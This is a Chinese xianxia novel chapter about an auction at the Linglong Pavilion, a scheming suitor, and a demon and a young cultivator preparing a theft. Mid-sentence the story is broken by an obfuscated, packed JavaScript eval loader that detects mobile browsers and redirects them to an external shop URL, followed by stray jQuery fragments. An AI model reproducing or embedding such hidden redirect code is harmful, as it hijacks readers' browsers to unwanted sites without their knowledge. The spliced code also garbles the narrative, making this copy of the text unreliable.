玲珑会召开在即。
玲珑阁中。
胖阁主邹祉五十多岁,正独坐品茶,他体态圆润,面容上常常带着和蔼可亲的笑容,仿若春风袭来,温柔和沐。
见到经由下人引进来的贵客后,他忙起身相迎:“百里公子,什么风将您吹过来了?”
“阁主身材虽然丰满,但行动轻盈自如。”百里羽毫不客气地揶揄道。
“百里公子见笑,见笑。”
邹祉丝毫不恼,反而殷勤为他斟茶倒水。胖胖的脸上露出两只小酒窝。
百里羽,明心湖百里宗主的独子,年纪轻轻,大有名气。三大宗门可不是他一个小小的阁主能招惹得起的。
“我让阁主做的事情怎么样了?”百里羽推开茶盖,低头吹了吹。
“公子放心,消息已经放给唐姑娘了,她一定会来取九州游记。阁内重重机关都已经布置好,只等她现身。”
“你可小心着点,唐若珏——”百里羽喝了口茶,茶水中仿佛浮动着那女子的身影,“不是那么好对付的。”
父亲说,当年他们百里家出了大力,协助天元峰,一同除去谢昱衡那个魔徒。
唐允持说话算话,扶持父亲顺利当上明心湖的宗主,还许了儿女亲家。
可唐若珏却罔顾他们之间的婚约,对他这个未婚夫不仅没有好言好语,甚至好几次当众摆冷脸,拂他的面子。
要不是为了她身后的天元峰势力,百里羽没好气地想,哪个男人能忍受得了她这么冷冰冰的。
他知道唐若珏寻找一本九州游记已经找了很多年了。这次以之为诱饵,让她身陷危境,到时候他再出现,英雄救美,还怕夺不得美人心?
“说起来,”百里羽想到最近沸沸扬扬的事,几分怀疑地问道:“辞仙剑真被你们找到了?”
邹祉脸上的笑意不曾停过,显得眼睛更小了:“玲珑阁向来最重信誉,一言千金。”
“那柄剑真有那么厉害?”
“想必公子也见到了聚集到癯仙城内的各路修士。这届玲珑会,一定是人数最多、规模最大,最热闹哈哈。”
办好玲珑会是每任阁主投入心血最多、最骄傲的事情。
身为一个有钱的符师,百里羽最看不起穷且清高的剑修。他不屑:“一个魔修用过的破剑有什么好值得追捧的?”
“公子见惯了希世异宝,自然瞧不上一柄旧剑。”
无论对方说什么,邹祉都是微微一笑,曲迎附和。
他眼睛虽小,却能洞察人心,故能在这复杂的修真界局势中游刃有余,让玲珑阁声誉鹊起。
“对了,你见多识广,帮我看看这张符箓。”百里羽伸手递了过去。前几日他去问道阁偶然见到的,一眼看出不寻常。
他要拿走,问道阁的掌柜自然不敢说什么。
这就是大宗门世家的优势。
那魔徒谢昱衡,以及他的师尊玄凌真人,曾经竟然妄想提倡资源共享,打破世家至高垄断的地位,怪不得世家容不下他。
正如丹药有上品和下品,符箓也有等级之别。这张符箓邹祉一拿到手中,一股冲击的感觉瞬间传遍全身,仿佛有无数细小的灵力丝线从符箓中争先涌出,却又被写符者以漫不经意的落笔,牢牢束缚在敕令之中。
既蕴藏着强大的力量,又能迅速响应使用者的意念,是极上等的符箓。
“百里公子年方弱冠,就能写出如此符箓,”邹祉想都没想,忙不迟疑地吹捧,“实在是超迈绝伦、少年英才。”
百里羽眼神中闪过几分凶狠:“这并非我所写。”
那掌柜的说是一个小后生。修真界怎么可能有比他还强的少年符师?
虽然拍马屁拍到马腿上,但邹祉不慌不忙:“不知在下可否向公子讨得这张符箓,好加固阁内结界。”
百里羽本就不忿,若是不给倒显得他在意这符箓,倒也畅快转手了:“那阁主一定办好我的事。”
“公子放心等着玲珑之夜开启。”
*
玲珑之夜,一座玲珑塔从无到有,自水下缓缓升起,激起层层波澜。
塔共分为九层,飞檐翘角。塔顶镶嵌着一颗巨大明珠,照着黑夜如白昼。
塔身四周雕刻着各种精美的图案,祥云、灵兽、大道飞天,每一幅图都栩栩如生,令人叹为观止。
此时,玲珑塔的入口处人潮涌动,众多修士纷纷涌来,鱼贯而入。门口有人收取入场费,修士们依次上前,热闹非凡。
入场费交的少,给一块普通玉牌。进入塔内,只能入普通席位。
交的多,给一块镶金玉牌,入场有上等的独立包厢。
楚玉跟在师尊身后,明珠之光照着女子的脸灿灿生辉。她没有仰望高塔,却一门心思东张西望。
一把折扇搭在她的右肩:“大师姐,东张西望什么呢?”
楚玉被吓了一跳,转过头来见是顾怀远,差点没把他的手打折。她埋怨道:“人流量这么大,怎么周围也没个货摊。我想这次没带小师妹过来,给她带点吃喝小玩意回去,也好让她开心开心。”
一听提起这事,孟朔就来气。都怪唐允持,老东西偷他钱。
本来他可以成功在弟子们面前秀上一波,结果取出来的钱只够三个人入场。
这是他年轻时,省吃俭用好不容易攒下来的。里面有不少,还是当年找阿衡借的呢。
遗憾的是,再没机会还给他了。
潋潋最懂事,知道钱不够以后,主动把机会让给师兄师姐。
孟朔不知道的是,他心中最乖的小弟子祝铃潋此刻正和谢辞,拿着他的钱,兑换了两块镶金玉牌,轻松进到玲珑塔的贵宾包厢。
贵宾包厢在二楼。内部空间宽敞,一侧设有一面巨大的落地窗,透过窗户可以俯瞰整个交易台。
窗前摆放着一张圆形的紫檀木桌,桌上摆放着各式精致的茶具和点心。
祝铃潋拿了一块高点塞进嘴里,视线落在谢辞身上。
还是忍不住吐槽一句暴发户。
谢辞不同于往日低调。今夜他身上全是金银玉石,锦袍上花纹异常精致,一针一线仿佛能反射出光芒。
他随意地靠在软椅上,额前碎发微微垂下,轻柔遮住眼睛,多了几分不凡与不羁的气息。整个人显得贵不可攀。
明明是个魔,是修真界里应该夹起尾巴、躲在黑暗里的魔,却比刚才看到的、熙熙攘攘的修士们还要稚气鲜亮。
更吊诡的是,祝铃潋虽然嘴上吐槽暴发户,心里却不得不承认,这身打扮很适合他。
仿佛谢辞本来就该如此。
贵而不拘、天命风流。
不过,他们俩今晚是来偷东西的啊。
“你这样是不是有点太过了。”
“有吗?”
谢辞抬手。
他手指上戴着十枚戒指。每一枚戒指上都镶嵌着不同的宝石,红的如血,绿的如翠,蓝的如海,光彩夺目,差点要闪瞎祝铃潋的眼睛。
她捂着眼睛,小鸡啄米似点头:“有哇有哇。”
“玲珑塔共分为九层。一层两层的交易场所,所有人都能进。三层四层是阁主待客之地,入口处的看守最多,闯进去最困难。五层之上存放古书经籍、法器宝物,只有机关,无人看守。”魔手指蘸了蘸水,在桌上边画边说。
祝铃潋:“意思是,要想找到可能记载有解契方法的书籍,我们得先进四层。那我们怎么去?”
谢辞脸上浮现出一抹笑意:“让阁主请我们去。”
“请?你认识他,你跟他很熟吗?”
“以前很熟。现在已经过了五十年,想来阁主也换了人。不过,玲珑阁的规矩是不会变的。等会开始后,第一件拍卖品,不管是什么,我们都要高价得之。”
“拍得第一件品,称为开彩头。开彩头的客人会请至四层,请喝阁主的名茶。”
祝铃潋听明白:“照这么说,想抢彩头的人应该很多咯。可我们囊中羞涩诶。”
“所以我们要穿得有钱,让别人觉得我们付得起。放宽心,开彩头的钱不必当场付。”
“那不会有很多人乱开价吗,跟咱们一样。”
魔摇摇
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14239128|151444||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
头:“你以为,什么人都敢得罪玲珑阁吗?”
“哦。”祝铃潋反应过来,“不对啊。既然要装的有钱,你怎么不早告诉我。我穿得这么随便。”
谢辞瞥了她一眼:“你是我的随从。不用穿得太贵。”
……随从。随你个大头葱!
算了,马上就要解开血契了,不跟魔小气计较。祝铃潋决定低头吃果切。
贵宾包厢里的果切真挺好吃的。
她秉持着“不吃白不吃”、“又便宜不占王八蛋”的基本原则,正吃着,从隔壁包厢里传来一阵斗志昂扬的激烈讨论声。她立即竖起耳朵,听了半天,总结道:
“他们好像在说什么……辞仙剑?”
话音刚落,谢辞沉寂的眸,静如深海,罕见地泛起一丝波澜。
祝铃潋没有注意到,她依然津津有味地听着,并且复述道:
“通天之剑,天地无敌,威力巨大?”
“前不久,玲珑阁从北海偶得此剑。当时,剑光大作,通天彻地,整个海狂风呼啸、海浪滔天。”
“玲珑会要在今夜展出此剑?!”
她越听越兴奋,头一次赶上修真界这么大事!
直到被魔打断:“过来。”
她以为暴发户也想吃果切了,耳朵听着隔壁传来的瓜,手上心不在焉地给谢辞塞了一颗葡萄。“他们这会在说,谁能得到,必定会在修真界名声大作、威震四方。”
“哦吼,各大宗门都派了最厉害的弟子前来。”
葡萄没喂上,谢辞的手抚上她的唇边,将汁水抹去,无可奈何道:“我能听见。”
他的手真冰。
愣了一会,祝铃潋才蓦然捕捉到空气中突如其来的低沉,迟疑着问道:“你,是不是知道这把剑?”
魔,好像不想让她继续复述下去?
谢辞身子微微前倾,耐心地摩挲着她的唇瓣。
“它是我的一位老朋友。”
“老朋友?”
“……一位老朋友的剑。”
原来今夜来了这么多修士,都是为了辞仙剑。
剑。
那样有灵性的剑,本就该大放异彩,名满天下,不该随着他消失于世。
谁有缘分谁就拿去吧。
老朋友谢昱衡,早就死了。
……
祝铃潋却好奇地眨眨眼,示意他说下去。
谢辞只自顾自地摸了摸她的下巴,平静地想,这果切的香气实在太甜腻了些。
想着想着,他竟然毫不犹豫地说出了口:“小修士,我饿了。”
“刚才不是给你喂葡萄了么?”祝铃潋说完的一瞬视线交错,这才发觉不对。魔的眼神直接看着她,没有一点回避。
他说的饿,明显意有所指。这是要吸她的血啊!
“今天不是十五。”她果断道!
“不是吗?”
“不是!”
“好可惜。怎么会不是呢?”谢辞想了想,继续心平气和道,“那可以假装是吗?”
她闻着他的鼻息,不像他的嗓音清浅疏离,此刻他的气息微微加重,在她的脖颈边萦绕,像是企图诱惑她的魔鬼。
祝铃潋咽了口口水:“不可以。”
谢辞向后一靠,无辜又破碎:“祝姑娘好狠心。”
孟朔不是说过,偶尔向女孩子撒娇很管用的吗。
只是,
孟朔,没有了。
辞仙剑,没有了。
马上就要解开血契,小修士也没有了吧。
包厢清静。
而一楼纷纷攘攘,吵吵闹闹。人流摩肩擦踵,孟朔差点被一对男女道侣挤倒,气得他吹胡子瞪眼:“这有个老年人没看到吗没看到吗?”
他不过是个不起眼的老修士,那对男女道侣头也不回地嬉笑着走远了。
“谈情说爱去包厢里好不好?”孟朔气炸了,“包厢里隐蔽,你们这些不要脸的男女,想干嘛干嘛。”
他忿忿不平中,楚玉眼尖,寻到三个空座:“师尊,师弟,这有座,快来快来。”